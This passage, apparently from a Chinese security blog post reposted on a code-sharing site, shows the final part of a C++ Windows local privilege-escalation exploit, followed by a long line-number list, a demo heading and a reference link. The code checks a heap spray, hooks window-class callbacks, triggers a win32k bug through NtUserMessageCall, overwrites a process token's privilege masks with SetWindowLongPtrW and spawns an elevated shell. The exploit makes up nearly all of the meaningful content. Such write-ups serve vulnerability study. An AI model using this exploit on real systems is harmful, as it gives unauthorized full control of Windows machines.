			Distance=gb::VictimDeskHeap - gb::TriggerDeskHeap;
		}
		else {
			Distance = gb::TriggerDeskHeap - gb::VictimDeskHeap;
		}

		if (Distance >= TRIGGERWND_EXTRASIZE) {
			printf("[-] Heap spray failed!\n");
			return 0;
		}

		printf("[+] VictimDeskHeap's tagWND = 0x%p\n", Victim);
		printf("[+] TriggerDeskHeap = %p\n", gb::TriggerDeskHeap);
		printf("[+] VictimDeskHeap = %p\n", gb::VictimDeskHeap);

		// 代理回调函数
		SetFuncHook((DWORD64)ClientAllocatWindowClassExtraBytesProxy,(DWORD64)ClientFreeWindowsClassExtraBytesProxy);
		// 触发漏洞
		gb::NtUserMessageCall(gb::g_hTriggerWnd, WM_CREATE,0,0, NULL, 0, FALSE);

		// 修改 tagWND_victim->ExtraBytes = TokenAddr
		ULONG_PTR Old = SetWindowLongPtrW(gb::g_hTriggerWnd, 0x128+0x10, TokenAddr+0x40);
		// 修改 Token->Privileges.Enabled = 0xFFFFFFFFFFFFFFFF
		SetWindowLongPtrW(gb::g_hVictimWnd, 8, 0xFFFFFFFFFFFFFFFF);
		// 修改 Token->Privileges.Present = 0xFFFFFFFFFFFFFFFF
		SetWindowLongPtrW(gb::g_hVictimWnd, 0, 0xFFFFFFFFFFFFFFFF);

		if (CheckPrivilege(gb::hToken)) {
			SpawnShell();
		}
		else {
			printf("[+] 提权失败!\n");
		} 

		// 恢复 tagWND_Victim->ExtraBytes = Old
		SetWindowLongPtrW(gb::g_hTriggerWnd, 0x128 + 0x10, Old);
		// 恢复 tagWND_Trigger->Styles &= ~0x800
		SetWindowLongPtrW(gb::g_hTriggerWnd, Distance + 0xE8 + 0x10, Trigger->dwExStyle);
		system("pause");
	}
	
	return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133
  • 134
  • 135
  • 136
  • 137
  • 138
  • 139
  • 140
  • 141
  • 142
  • 143
  • 144
  • 145
  • 146
  • 147
  • 148
  • 149
  • 150
  • 151
  • 152
  • 153
  • 154
  • 155
  • 156
  • 157
  • 158
  • 159
  • 160
  • 161
  • 162
  • 163
  • 164
  • 165
  • 166
  • 167
  • 168
  • 169
  • 170
  • 171
  • 172
  • 173
  • 174
  • 175
  • 176
  • 177
  • 178
  • 179
  • 180
  • 181
  • 182
  • 183
  • 184
  • 185
  • 186
  • 187
  • 188
  • 189
  • 190
  • 191
  • 192
  • 193
  • 194
  • 195
  • 196
  • 197
  • 198
  • 199
  • 200
  • 201
  • 202
  • 203
  • 204
  • 205
  • 206
  • 207
  • 208
  • 209
  • 210
  • 211
  • 212
  • 213
  • 214
  • 215
  • 216
  • 217
  • 218
  • 219
  • 220
  • 221
  • 222
  • 223
  • 224
  • 225
  • 226
  • 227
  • 228
  • 229
  • 230
  • 231
  • 232
  • 233
  • 234
  • 235
  • 236
  • 237
  • 238
  • 239
  • 240
  • 241
  • 242
  • 243
  • 244
  • 245
  • 246
  • 247
  • 248
  • 249
  • 250
  • 251
  • 252
  • 253
  • 254
  • 255
  • 256
  • 257
  • 258
  • 259
  • 260
  • 261
  • 262
  • 263
  • 264
  • 265
  • 266
  • 267
  • 268
  • 269
  • 270
  • 271
  • 272
  • 273
  • 274
  • 275
  • 276
  • 277
  • 278
  • 279
  • 280
  • 281
  • 282
  • 283
  • 284
  • 285
  • 286
  • 287
  • 288
  • 289
  • 290
  • 291
  • 292
  • 293
  • 294
  • 295
  • 296
  • 297
  • 298
  • 299
  • 300
  • 301
  • 302
  • 303
  • 304
  • 305
  • 306
  • 307
  • 308
  • 309
  • 310
  • 311
  • 312
  • 313
  • 314
  • 315
  • 316
  • 317
  • 318
  • 319
  • 320
  • 321
  • 322
  • 323
  • 324
  • 325
  • 326
  • 327
  • 328
  • 329
  • 330
  • 331
  • 332
  • 333
  • 334
  • 335
  • 336
  • 337
  • 338
  • 339
  • 340
  • 341
  • 342
  • 343
  • 344
  • 345
  • 346
  • 347
  • 348
  • 349
  • 350
  • 351
  • 352
  • 353
  • 354
  • 355
  • 356
  • 357
  • 358
  • 359
  • 360
  • 361
  • 362
  • 363
  • 364
  • 365
  • 366
  • 367
  • 368
  • 369
  • 370
  • 371
  • 372
  • 373
  • 374
  • 375
  • 376
  • 377
  • 378
  • 379
  • 380
  • 381
  • 382
  • 383
  • 384
  • 385
  • 386
  • 387
  • 388
  • 389
  • 390
  • 391
  • 392
  • 393
  • 394
  • 395
  • 396
  • 397
  • 398
  • 399
  • 400
  • 401
  • 402
  • 403
  • 404
  • 405
  • 406
  • 407
  • 408
  • 409
  • 410
  • 411
  • 412
  • 413
  • 414
  • 415
  • 416
  • 417
  • 418
  • 419
  • 420
  • 421
  • 422
  • 423
  • 424
  • 425
  • 426
  • 427
  • 428
  • 429
  • 430
  • 431
  • 432
  • 433
  • 434
  • 435
  • 436
  • 437
  • 438
  • 439
  • 440
  • 441
  • 442
  • 443
  • 444
  • 445
  • 446
  • 447
  • 448
  • 449
  • 450
  • 451
  • 452
  • 453
  • 454
  • 455
  • 456
  • 457
  • 458
  • 459
  • 460
  • 461
  • 462
  • 463
  • 464
  • 465
  • 466
  • 467
  • 468
  • 469
  • 470
  • 471
  • 472
  • 473
  • 474
  • 475
  • 476
  • 477
  • 478
  • 479
  • 480
  • 481
  • 482
  • 483
  • 484
  • 485
  • 486
  • 487
  • 488
  • 489
  • 490
  • 491
  • 492
  • 493
  • 494
  • 495
  • 496
  • 497
  • 498
  • 499
  • 500
  • 501
  • 502
  • 503
  • 504
  • 505
  • 506
  • 507
  • 508
  • 509
  • 510
  • 511
  • 512
  • 513
  • 514
  • 515
  • 516
  • 517
  • 518
  • 519
  • 520
  • 521
  • 522
  • 523
  • 524
  • 525
  • 526
  • 527
  • 528
  • 529
  • 530
  • 531
  • 532
  • 533
  • 534
  • 535
  • 536
  • 537
  • 538
  • 539
  • 540

0x6 演示

在这里插入图片描述

0x7 参考

[1] https://www.anquanke.com/post/id/272305#h3-6

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小蓝xlanll/article/detail/544486
推荐阅读
相关标签
  

闽ICP备14008679号